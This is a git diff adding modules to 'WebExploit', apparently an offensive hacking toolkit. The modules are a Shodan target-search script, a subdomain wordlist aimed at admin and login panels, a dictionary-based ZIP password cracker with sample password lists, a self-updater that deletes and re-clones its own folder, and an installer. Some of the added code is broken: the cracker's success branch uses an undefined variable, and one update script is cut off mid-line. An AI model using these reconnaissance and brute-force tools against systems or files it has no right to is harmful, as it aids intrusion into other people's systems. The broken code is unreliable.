░▒█▄▄▄█░░░▒█▄▄▄█░░░▒█▄▄▄ '''] + + def r_bnr(bnr): + return choice(bnr) + + print (f'{blink}{r_bnr(bnr)}{ended}', end='') + t.sleep(2) + print(f' {italic}From{ended} : ', end='') + #create flush text [simple] + print(f'{red}{bold}', end='', flush=True) + print(f'{bold}W', end='', flush=True) + t.sleep(0.5) + print('e', end='', flush=True) + t.sleep(0.7) + print('b', end='', flush=True) + t.sleep(0.4) + print('E', end='', flush=True) + t.sleep(0.1) + print('x', end='', flush=True) + t.sleep(0.2) + print('p', end='', flush=True) + t.sleep(0.3) + print('l', end='', flush=True) + t.sleep(0.4) + print('o', end='', flush=True) + t.sleep(0.5) + print('i', end='', flush=True) + t.sleep(1.5) + print(f't{ended}', flush=True) + nbold = "\033[0m" # tahe koskholi ! + t.sleep(1) + print(f'{white}{nbold}') + + print (f'\n {bold}{f.GREEN}[{f.WHITE}SSE{f.GREEN}]{f.WHITE}{f.RED} S.S.E{f.WHITE}{bold} S{nbold}odan {bold}S{nbold}earch {bold}E{nbold}ngine T00L !\n\n\n') + t.sleep(3) + + save_question = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}S.S.E/{bold}SAVER{nbold}{f.WHITE} Save You\'r Logs To a .txt File? {bold}\'LOG_FILE\'{nbold} [ex: Y/y | N/n]:#{f.GREEN}{bold} ').lower() + + log = ('') + data = ('') + + def saver(data): + file = open((log) + ".txt", "a") + file.write(data) + file.close() + + if save_question.startswith("y"): + log = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}S.S.E/{bold}SAVER{nbold}{f.WHITE} Give The Log\'s File Name ! {bold}\'LOG_FILE_NAME\'{nbold} [ex: MyLogs]:#{f.GREEN}{bold} ') + #log = (log + '.txt') + #print(pt) + print (f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}S.S.E/{bold}Log\'s File Name{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{log}{nbold}') + + else: + print (f'\n {f.YELLOW}{bold}WARNING{f.WHITE}{nbold}@{f.RED}S.S.E/{bold}SAVER{nbold}{f.GREEN}{bold} SAVING \'SKIPPED\'{f.WHITE} ') + + t.sleep(2) + print(f'{nbold}') + while True: + try: + api_key = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}S.S.E/{bold}SAVER{nbold}{f.WHITE} GIVE ME A {bold}\'SHODAN_API_KEY\'{nbold} [ex: J2IdjIAjdiWiJVn...]:#{f.GREEN}{bold} ') #.rstrip("\n") + if api_key: + break + else: + continue + + except KeyboardInterrupt: + print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .') + t.sleep(2) + sys.exit(0) + + + t.sleep(3) + print(f'{nbold}') + print (f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}S.S.E/{bold}API KEY{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{api_key}{nbold}\n') + t.sleep(0.5) + api = shodan.Shodan(api_key) + limit_num = 888 + count_num = 1 + + try: + + print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}S.S.E/{bold}VERIFY [Shodan.io] API KEY{nbold}{f.WHITE}]{f.WHITE}{bold} CHECKING . . .{nbold}\n') + api.search("WebExploit") + t.sleep(1) + print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}S.S.E/{bold}API KEY \'Authentication\' {nbold}{f.WHITE}] >>> {f.GREEN}{bold} SUCCESS . . .{nbold}\n') + + searcher = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}S.S.E/{bold}SAVER{nbold}{f.WHITE} Enter You\'r {bold}\'KEYWORD[s]\'{nbold} [ex: port:80 http.title:"HACKED"]:#{f.GREEN}{bold} ') + + count_num = count_num + 1 + + for result in api.search_cursor(searcher): + ip = (result["ip_str"]) + print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}IP{nbold}{f.WHITE} >>> {bold}{green}{bold}{ip}{nbold}\n') + t.sleep(0.1) + port = (result["port"]) + print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}PORT{nbold}{f.WHITE} >>> {bold}{green}{bold}{port}{nbold}\n') + t.sleep(0.1) + org = (result["org"]) + print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}ORGANIZATION{nbold}{f.WHITE} >>> {bold}{green}{bold}{org}{nbold}\n') + t.sleep(0.1) + loc = (result["location"]) + print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}LOCATION{nbold}{f.WHITE} >>> {bold}{green}{bold}{loc}{nbold}\n') + t.sleep(0.1) + tra = (result["transport"]) + print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}LAYER{nbold}{f.WHITE} >>> {bold}{green}{bold}{tra}{nbold}\n') + t.sleep(0.1) + dom = (result["domains"]) + print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}DOMAIN\'S{nbold}{f.WHITE} >>> {bold}{green}{bold}{dom}{nbold}\n') + t.sleep(0.1) + hosts = (result["hostnames"]) + print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}HOST-NAME\'S{nbold}{f.WHITE} >>> {bold}{green}{bold}{hosts}{nbold}\n') + t.sleep(0.1) + d = (result["data"]) + print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}INFORMATION-SERVICE{nbold}{f.WHITE} >>> {bold}{green}{bold}{d}{nbold}\n') + t.sleep(0.5) + print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}SEARCH QUERY{nbold}{f.WHITE} >>> {bold}{green}{bold}{(str(count_num))}{nbold}\n') + t.sleep(0.5) + data = ("\t\n\nIP: " + str(result["ip_str"]) + ("\nPORT: " + str(result["port"])) + ("\nORGANIZATION: " + str(result["org"])) + ("\nLOCATION: " + str(result["location"])) + ("\nLAYER: " + str(result["transport"])) + ("\nDOMAINS: " + str(result["domains"])) + ("\nHOSTNAMES: " + str(result["hostnames"])) + ("\nDATA\n" + result["data"])) + + saver(data) + + t.sleep(0.3) + count_num += 1 + if count_num >= limit_num: + #os.system(f('mv {log} {pt}')) + exit() + except KeyboardInterrupt: + + print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .') + t.sleep(2) + sys.exit(0) + + except shodan.APIError as shodan_key_error: + print (f' {f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}S.S.E/{bold} !!! \'ERROR\' !!!{nbold}{f.WHITE}] >>> {f.GREEN}{bold} {shodan_key_error} {nbold}\n') + print(f'\n\n {nbold}{f.WHITE}{f.RED}{bold}EXITTING . . .') + t.sleep(3) + sys.exit(0) + + + + + + + + + + + + diff --git a/cores/subdomains.txt b/cores/subdomains.txt new file mode 100644 index 0000000..b70b4e0 --- /dev/null +++ b/cores/subdomains.txt @@ -0,0 +1,845 @@ +admin +login +log-in +logini +login1 +admin1 +administer +administrator +administratoraccounts +account +access +adminlogin +cp +cpanel +admin2 +ad3 +add +administratoraccount +admin +log +control +control-admin +control-panel +paneladmin +user +users +username +tt +ladmin +loginadmin +loginuser +usr +main +administrators +xadmin +1 +m +cg +cntrl +ctrl +accounts +adminlogin +userlogin +ac +acc +pnl +a +acceptatie +access +accounting +accounts +ad +adm +admin +administrator +ads +adserver +affiliate +affiliates +agenda +alpha +alumni +analytics +ann +api +area +apollo +app +apps +ar +archive +art +assets +atlas +auth +auto +autoconfig +autodiscover +av +ayuda +b +b2b +backup +backups +banner +barracuda +bb +bbs +beta +biblioteca +billing +blackboard +blog +blogs +board +book +booking +bookings +broadcast-ip +bsd +bt +bug +bugs +business +c +ca +cache +cacti +cal +calendar +cam +careers +cart +cas +catalog +catalogo +catalogue +cc +cctv +cdn +cdn1 +cdn2 +chat +chimera +chronos +ci +cisco +citrix +classroom +client +clientes +clients +cloud +cloudflare-resolve-to +club +cms +cn +co +community +conference +config +connect +contact +contacts +content +control +controller +controlp +controlpanel +corp +corporate +correo +correoweb +cp +cpanel +crm +cs +css +customers +cvs +d +da +loads +data +down +download +downloads +downlod +lod +loading +load +database +db +db1 +db2 +dbadmin +dbs +dc +de +default +demo +demo2 +demon +demostration +descargas +design +desktop +dev +dev01 +dev1 +dev2 +devel +developers +development +dialin +diana +direct +directory +dl +dmz +dns +dns1 +dns2 +dns3 +dns4 +doc +docs +domain +domain-controller +domainadmin +domaincontrol +domaincontroller +domaincontrolpanel +domainmanagement +domains +drupal +e +eaccess +echo +ecommerce +edu +ektron +elearning +en +eng +enterpriseenrollment +enterpriseregistration +erp +es +event +events +ex +example +examples +exchange +external +extranet +f +facebook +faq +fax +fb +feedback +feeds +file +files +fileserver +finance +firewall +folders +forms +foro +foros +forum +forums +foto +fr +free +freebsd +fs +ftp +ftp1 +ftp2 +ftpadmin +ftpd +fw +g +galeria +gallery +game +games +gate +gateway +gilford +gis +git +gmail +go +google +groups +groupwise +gu +guest +guia +guide +gw +health +help +helpdesk +hera +heracles +hercules +hermes +home +homer +host +host2 +hosting +hotspot +hr +hypernova +i +id +idp +im +image +images +images1 +images2 +images3 +images4 +images5 +images6 +images7 +images8 +imail +imap +imap3 +imap3d +imapd +imaps +img +img1 +img2 +img3 +imgs +imogen +in +incoming +info +inmuebles +internal +interno +intra +intranet +io +ip +ip6 +ipfixe +iphone +ipmi +ipsec +ipv4 +ipv6 +irc +ircd +is +isa +it +j +ja +jabber +jboss +jboss2 +jira +job +jobs +jp +js +jupiter +k +kb +kerberos +l +la +lab +laboratories +laboratorio +laboratory +labs +ldap +legacy +lib +library +link +links +linux +lisa +list +lists +live +lms +local +localhost +log +loghost +login +logon +logs +london +loopback +love +lp +lync +lyncdiscover +m +m1 +m2 +magento +mail +mail01 +mail1 +mail2 +mail3 +mail4 +mail5 +mailadmin +mailbackup +mailbox +mailer +mailgate +mailhost +mailing +mailman +mailserver +main +manage +manager +mantis +map +maps +market +marketing +mars +master +math +mb +mc +mx1 +mx2 +mx3 +mx4 +mx5 +mx6 +mx7 +mx8 +mx9 +mx10 +mdm +media +meet +member +members +mercury +meta +meta01 +meta02 +meta03 +meta1 +meta2 +meta3 +miembros +mijn +minerva +mirror +ml +mm +mob +mobil +mobile +monitor +monitoring +moodle +movil +mrtg +ms +msoid +mssql +munin +music +mx +mx-a +mx-b +mx0 +mx01 +mx02 +mx03 +mx1 +mx2 +mx3 +my +mysql +mysql2 +n +nagios +nas +nat +nelson +neon +net +netmail +netscaler +network +network-ip +networks +new +newmail +news +newsgroups +newsite +newsletter +nl +noc +novell +ns +ns0 +ns01 +ns02 +ns03 +ns1 +ns10 +ns11 +ns12 +ns2 +ns3 +ns4 +ns5 +ns6 +ns7 +ns8 +nt +ntp +ntp1 +o +oa +office +office2 +old +oldmail +oldsite +oldwww +on +online +op +openbsd +operation +operations +ops +ora +oracle +origin +orion +os +osx +ou +outgoing +outlook +owa +ox +p +painel +panel +partner +partners +pay +payment +payments +pbx +pcanywhere +pda +pegasus +pendrell +personal +pgsql +phoenix +photo +photos +php +phpmyadmin +pm +pma +poczta +pop +pop3 +portal +portfolio +post +postgres +postgresql +postman +postmaster +pp +ppp +pr +pre-prod +pre-production +preprod +press +preview +private +pro +prod +priv8 +production +project +projects +promo +proxy +prueba +pruebas +pt +pub +public +q +qa +r +ra +radio +radius +ras +rdp +redirect +redmine +register +relay +remote +remote2 +repo +report +reports +repos +research +resources +restricted +reviews +robinhood +root +router +rss +rt +rtmp +ru +s +s1 +s2 +s3 +s4 +sa +sales +sample +samples +sandbox +sc +search +secure +security +seo +server +server1 +server2 +service +services +sftp +share +sharepoint +shell +shop +shopping +signup +sip +site +siteadmin +sitebuilder +sites +skype +sms +smtp +smtp1 +smtp2 +smtp3 +snmp +social +software +solaris +soporte +sp +spam +speedtest +sport +sports +sql +sqlserver +squirrel +squirrelmail +ssh +ssl +sslvpn +sso +st +staff +stage +staging +start +stat +static +static1 +static2 +stats +status +storage +store +stream +streaming +student +sun +support +survey +sv +svn +t +team +tech +telewerk +telework +temp +test +test1 +test2 +test3 +testing +testsite +testweb +tfs +tftp +thumbs +ticket +tickets +time +tools +trac +track +tracker +tracking +train +training +travel +ts +tunnel +tutorials +tv +tw +u +uat +uk +unix +up +update +upload +uploads +us +user +users +v +v2 +vb +vc +ventas +video +videos +vip +virtual +vista +vle +vm +vms +vmware +vnc +vod +voip +vpn +vpn1 +vpn2 +vpn3 +vps +vps1 +vps2 +w +w3 +wap +wc +web +web0 +web01 +web02 +web03 +web1 +web2 +web3 +web4 +web5 +webadmin +webcam +webconf +webct +webdb +webdisk +weblog +webmail +webmail2 +webmaster +webmin +webservices +webstats +webstore +whm +wifi +wiki +win +win32 +windows +wordpress +work +wp +ws +wsus +ww +ww0 +ww01 +ww02 +ww03 +ww1 +ww2 +ww3 +www +www-test +www0 +www01 +www02 +www03 +webexploit +www1 +www2 +www3 +www4 +www5 +www6 +www7 +wwwm +wwwold +wwww +x +xml +zabbix +zeus +zimbra diff --git a/cores/updater.py b/cores/updater.py new file mode 100644 index 0000000..a25a43c --- /dev/null +++ b/cores/updater.py @@ -0,0 +1,21 @@ +#!/usr/bin/python3 +from requests import get +from subprocess import Popen + +def run(): + + ver:str=open('VERSION', 'r').read().split()[0] + + githubVerionController:str=get('https://raw.githubusercontent.com/C4ssif3r/WebExploit/main/VERSION').text.split()[0] + + if ver != githubVerionController: + updateQuestion:str=input (f'update available !\n web explloit new verion: {githubVerionController}\nare you want to update ? [y/n] ').lower() + if updateQuestion=='y': + Popen('cd .. && rm -rf WebExploit && git clone --depth=1 https://github.com/C4ssif3r/WebExploit', shell=True) + print ('[WebExploit] UPDATED , PLZ CLOSE TERMINAL AND USE AGAIN =)') + else: print ("[WebExploit] UPDATE SKIPPED .") + else: + print ("[WebExploit] YOU ARE USING LASTED VERSION") + return + + diff --git a/cores/wpf.py b/cores/wpf.py index b72ae62..34854fb 100644 --- a/cores/wpf.py +++ b/cores/wpf.py @@ -152,8 +152,8 @@ def r_bnr(bnr): print (f' {f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}W.P.F/{f.GREEN}REQUEST-MAKER{white}] {nbold}{f.CYAN} CAN\'T CONNECT TO \'{bold}{url}{nbold}\'{nbold} ERROR: {bold}{url_error}{nbold}\n') t.sleep(2) - #raise SystemExit(url_error) - sys.exit() + raise SystemExit(url_error) + #sys.exit() if checker.status_code == 404 or checker.status_code == 500: print (f' {f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}W.P.F/{f.GREEN}CHECK-URL] {nbold}{f.CYAN} URL IS NOT \'{bold}WORDPRESS{nbold}\'{nbold} CHECK THAT ... !\n') @@ -187,8 +187,8 @@ def r_bnr(bnr): t.sleep(1) print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}W.P.F/{f.CYAN}DEFAULT{f.WHITE}] OPENNING {bold}DEFAULT{nbold} TOP PLUGINS FILE {bold}{f.GREEN}\n') - - plugins = open('wp-plugins.txt', 'r').read().split() + filedefault = (f'{os.getcwd()}/cores/wp-plugins.txt') + plugins = open(filedefault, 'r').read().split() t.sleep(2) print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}W.P.F/{f.CYAN}DEFAULT{f.WHITE}] LOADED {bold}%s PLUGINS{nbold}{f.GREEN} SUCCESS ...{white}\n' % len(plugins)) t.sleep(2) diff --git a/cores/zipc.py b/cores/zipc.py new file mode 100644 index 0000000..25d4763 --- /dev/null +++ b/cores/zipc.py @@ -0,0 +1,170 @@ +def run(): + ''' + MIT License + +Copyright (c) 2022 MJi | DarkƤwn [github.com/c4ssif3r] + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +''' + 'pip install google-search' + try: + import time as t + from colorama import Fore as f + import sys, os + import zipfile + from random import choice + except: + print("\033[0;31m please run command \033[0;32m pip install -r requirements.txt !") + t.sleep(1) + sys.exit() + + black = "\033[0;30m" + red = "\033[0;31m" + green = "\033[0;32m" + brown = "\033[0;33m" + blue = "\033[0;34m" + purple = "\033[0;35m" + cyan = "\033[0;36m" + l_gray = "\033[0;37m" + dark_gray = "\033[1;30m" + l_red = "\033[1;31m" + l_green = "\033[1;32m" + yellow = "\033[1;33m" + l_blue = "\033[1;34m" + l_purple = "\033[1;35m" + l_cyan = "\033[1;36m" + l_white = "\033[1;37m" + faint = "\033[2m" + italic = "\033[3m" + underline = "\033[4m" + blink = "\033[5m" + nefative = "\033[7m" + cross = "\033[9m" + ended = "\033[0m" + bold = "\033[1m" + nbold = "\033[0m" + white = f.WHITE + + bnr = [''' + ▒███████▒ ██ ██▓███ + ▒ ▒ ▒ ▄▀░ ▒▓██ ▓██░ ██ + ░ ▒ ▄▀▒░ ░▒██ ▓██░ ██▓▒ + ▄▀▒ ░ ░██ ▒██▄█▓▒ ▒ + ▒███████▒ ░██ ▒██▒ ░ ░ + ░▒▒ ▓░▒░▒ ░▓ ▒▓▒░ ░ ░ + ░ ▒ ▒ ░ ▒ ▒ ░▒ ░ + ░ ░ ░ ░ ░ ▒ ░░ + ░ ░ ░ ''', ''' + ░▒█▀▀▀█░░░▀█▀░░░▒█▀▀█ + ░░▄▄▄▀▀░░░▒█░░░░▒█▄▄█ + ░▒█▄▄▄█░░░▄█▄░░░▒█░░░ '''] + + def r_bnr(bnr): + return choice(bnr) + + print (f'{blink}{r_bnr(bnr)}{ended}', end='') + t.sleep(2) + print(f' {italic}From{ended} : ', end='') + #create flush text [simple] + print(f'{red}{bold}', end='', flush=True) + print(f'{bold}W', end='', flush=True) + t.sleep(0.5) + print('e', end='', flush=True) + t.sleep(0.7) + print('b', end='', flush=True) + t.sleep(0.4) + print('E', end='', flush=True) + t.sleep(0.1) + print('x', end='', flush=True) + t.sleep(0.2) + print('p', end='', flush=True) + t.sleep(0.3) + print('l', end='', flush=True) + t.sleep(0.4) + print('o', end='', flush=True) + t.sleep(0.5) + print('i', end='', flush=True) + t.sleep(1.5) + print(f't{ended}', flush=True) + nbold = "\033[0m" # tahe koskholi ! + t.sleep(1) + print(f'{white}{nbold}') + + print (f'\n {bold}{f.GREEN}[{f.WHITE}ZIP{f.GREEN}]{f.WHITE}{f.RED} Z.I.P{f.WHITE}{bold} ZIP {bold}C{nbold}racker T00L !\n\n\n') + t.sleep(3) + + + + + while True: + try: + zipc = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}Z.I.P/{bold}FILE[zip]{nbold}{f.WHITE} enter {bold}\'zipFile{nbold}\' [ex: /Desktop/mji.zip]:#{f.GREEN}{bold} ') + print(f'{nbold}') + + if zipc: + break + else: + input('please enter a zip file') + continue + + except Exception as err_zipc: + print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] {bold}ERROR -> {err_zipc}{nbold} EXITTING . . .') + t.sleep(2) + # break + sys.exit(0) + while True: + passwords = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}Z.I.P/{bold}ZIP-CRACKER{nbold}{f.WHITE} enter \'Password LIST{nbold}\' [ex: /home/WebExploit/Desktop/ssh-passwords.txt]:#{f.GREEN}{bold} ') + if passwords: + try: + passes = open(passwords, 'r').readlines() + # passes.close() + break + except Exception as file_err: + print (f'\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}RARC/{f.GREEN}Passwords{white}] {nbold}{f.CYAN} ERROR : \'{bold}{file_err}{nbold}\' \n') + t.sleep(1) + continue + t.sleep(1) + print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}Z.I.P/{bold}ZIP-CRACKER{nbold}{f.YELLOW} Loadind modules {bold}zip-cracker . . . !{nbold}]') + t.sleep(3) + try: + zip_file = zipc + zip_file = zipfile.ZipFile(zip_file) + except Exception as g_err: + print ('err : %s' % g_err) + for pwd_ in passes: + pwd1 = pwd_.strip() + try: + zip_file.extractall(pwd=pwd1.encode()) + print (f'\n {nbold}{f.WHITE}[{f.GREEN}{bold}CRACKER{f.WHITE}{nbold}@{f.RED}ZIP.C/{f.GREEN}Password-Found{white}] {nbold}{f.CYAN} \'{bold}{pwd_}{nbold}\' \n') + except: + print (f'\n {nbold}{f.WHITE}[{f.RED}{bold}CRACKER{f.WHITE}{nbold}@{f.RED}ZIP.C/{f.YELLOW}Password-NotFound{white}] {nbold}{f.RED} \'{bold}{pwd_}{nbold}\' \n') + continue + else: + print(f'{green}') + print("[ZIP-C] Password found:", word.decode().strip()) + exit(0) + print(f'{red}') + print("[ZIP-C] Password not found, try other wordlist [password-lists].") + + + + + + + diff --git a/examples/data_httpGet_example.txt b/examples/data_httpGet_example.txt new file mode 100644 index 0000000..e4c5956 --- /dev/null +++ b/examples/data_httpGet_example.txt @@ -0,0 +1 @@ +user=$USER$&password=$PASSWORD$ diff --git a/examples/header.json b/examples/header.json new file mode 100644 index 0000000..47c99bf --- /dev/null +++ b/examples/header.json @@ -0,0 +1,13 @@ +{'Host': 'google.com', + 'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:91.0) Gecko/20100101 Firefox/91.0', + 'Accept': '*/*', + 'Accept-Language': 'en-US,en;q=0.5', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', + 'X-Requested-With': 'XMLHttpRequest', + 'Content-Length': '16', + 'Origin': 'https://google.com', + 'Connection': 'keep-alive', + 'Sec-Fetch-Dest': 'empty', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Site': 'same-origin'} diff --git a/examples/hosts_ForAngryIpScanner.txt b/examples/hosts_ForAngryIpScanner.txt new file mode 100644 index 0000000..f13c7af --- /dev/null +++ b/examples/hosts_ForAngryIpScanner.txt @@ -0,0 +1,2 @@ +216.239.38.120 +1.1.1.1 diff --git a/examples/ipRange_Example.txt b/examples/ipRange_Example.txt new file mode 100644 index 0000000..47ec6c9 --- /dev/null +++ b/examples/ipRange_Example.txt @@ -0,0 +1,4 @@ +37.255.241.* + + +#example for angry ip scanner tool [ip addr range scanner] diff --git a/examples/passlist_example.txt b/examples/passlist_example.txt new file mode 100644 index 0000000..5cd0db4 --- /dev/null +++ b/examples/passlist_example.txt @@ -0,0 +1,6 @@ +1234 +sudo +root +admin +sudomji +kskskdkd diff --git a/examples/users.txt b/examples/users.txt new file mode 100644 index 0000000..ecb2197 --- /dev/null +++ b/examples/users.txt @@ -0,0 +1,2 @@ +jfkwosodo +sshocean-mnmnmn diff --git a/files/.version b/files/.version new file mode 100644 index 0000000..30ffd49 --- /dev/null +++ b/files/.version @@ -0,0 +1 @@ +1.1.0-release-2024 diff --git a/files/updateControl.py b/files/updateControl.py new file mode 100644 index 0000000..5a4cd27 --- /dev/null +++ b/files/updateControl.py @@ -0,0 +1,12 @@ +#!/usr/bin/python3 +from requests import get + +def update(ver:str=None): + + ver: str = open('.version', 'r').read() + + githubVerionController: str = get('https://raw.githubusercontent.com/C4ssif3r/WebExploit/main/files/.version').text + + if ver != githubVerionController: + upsateQuestion = input (f'update available !\n web explloit new verion: {githubVerionController}\nare you want to update ? [y/n] ') + if updateQuestion == 'y': \ No newline at end of file diff --git a/img/APS.jpg b/img/APS.jpg new file mode 100644 index 0000000..36a116e Binary files /dev/null and b/img/APS.jpg differ diff --git a/img/Infog_menu.png b/img/Infog_menu.png new file mode 100644 index 0000000..2ce29d0 Binary files /dev/null and b/img/Infog_menu.png differ diff --git a/img/PasswordCrack.png b/img/PasswordCrack.png new file mode 100644 index 0000000..04a6e14 Binary files /dev/null and b/img/PasswordCrack.png differ diff --git a/img/WebExploit.jpg b/img/WebExploit.jpg new file mode 100644 index 0000000..ebbf28a Binary files /dev/null and b/img/WebExploit.jpg differ diff --git a/img/WebExploitMenu.png b/img/WebExploitMenu.png new file mode 100644 index 0000000..8b15cef Binary files /dev/null and b/img/WebExploitMenu.png differ diff --git a/img/eyecrackerMojiana.jpg b/img/eyecrackerMojiana.jpg new file mode 100644 index 0000000..0bea6b9 Binary files /dev/null and b/img/eyecrackerMojiana.jpg differ diff --git a/img/privateWebHacking.png b/img/privateWebHacking.png new file mode 100644 index 0000000..3a1ff4c Binary files /dev/null and b/img/privateWebHacking.png differ diff --git a/installer.sh b/installer.sh new file mode 100644 index 0000000..e19eab1 --- /dev/null +++ b/installer.sh @@ -0,0 +1,45 @@ +#!/bin/bash + +declare -a packages=( + "python" + "python-pip" + ) +echo -e "\n\033[1;37m[\033[1;31mWebExploit\033[1;37m] - UPDATING PACKAGES ...\n" +sleep 3 +if [ `id -u` == 0 ]; then + echo -e "\033[1;37m[\033[1;31mWebExploit\033[1;37m] - INSTALLING PACKAGES ...\n" + sleep 3 + sudo apt update -y > /dev/null 2>&1 + sudo apt upgrade -y > /dev/null 2>&1 + echo -e "\033[1;37m[\033[1;32mWebExploit\033[1;37m] - INSTALLED SUCCESSFUL. \n" + sleep 3 + for packages in "${packages[@]}"; do + sudo apt install $packages -y > /dev/null 2>&1 + done + +else + echo -e "\033[1;37m[\033[1;31mWebExploit\033[1;37m] - INSTALLING PACKAGES ...\n" + sleep 3 + apt update -y > /dev/null 2>&1 + apt upgrade -y > /dev/null 2>&1 + echo -e "\033[1;37m[\033[1;32mWebExploit\033[1;37m] - INSTALLED SUCCESSFUL. \n" + sleep 3 + for packages in "${packages[@]}"; do + apt install $packages -y > /dev/null 2>&1 +done + +fi +echo -e "\033[1;37m[\033[1;32mWebExploit\033[1;37m] - INSTALLED SUCCESSFUL. \n" +sleep 3 +# finally +echo -e "\033[1;37m[\033[1;31mWebExploit\033[1;37m] - \033[1;32mINSTALLING WEB-EXPLOIT REQUIREMENTS ...\033[1;37m\n" +sleep 3 +chmod 777 setup.py + +python setup.py install > /dev/null 2>&1 + +echo -e "\033[1;37m[\033[1;32mWebExploit\033[1;37m] - INSTALLED SUCCESSFUL. \n" +sleep 3 +echo -e "\033[1;37m[\033[1;32mWebExploit\033[1;37m] - NOW TYPE \033[1;32mpython WebExploit.py\033[1;37m FOR RUN :).\n" +sleep 3 + diff --git a/LICENSE b/licence/LICENSE similarity index 100% rename from LICENSE rename to licence/LICENSE diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..ee3c775 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,10 @@ +treelib==1.6.4 +paramiko +requests +colorama +fake_useragent +fake_headers +requests[socks] +torrequest +rarfile +six==1.16.0 diff --git a/setup.py b/setup.py new file mode 100644 index 0000000..2ba97c1 --- /dev/null +++ b/setup.py @@ -0,0 +1,36 @@ +try: from setuptools import setup, find_packages +except: + from subprocess import Popen + Popen("pip install setuptools") + from setuptools import setup, find_packages + +def read_requirements(file): + with open(file) as f: + return f.read().splitlines() + +def read_file(file): + with open(file) as f: + return f.read() + +long_description = read_file("README.md") +version = read_file("VERSION") +requirements = read_requirements("requirements.txt") + +setup( + name = 'WebExploit', + version = version, + author = 'Mojia', + author_email = 'sudo.root.desktop@gmail.com', + url = 'https://github.com/c4ssif3r/WebExploit', + description = 'Advanced Hacker Toolkit in your hands. WebExploit XD', + long_description_content_type = "text/x-rst", + long_description = long_description, + license = "MIT license", + packages = find_packages(exclude=["cores"]), + install_requires = requirements, + classifiers=[ + "Programming Language :: Python :: 3", + "License :: MIT License", + "Operating System :: OS Independent", + ] +)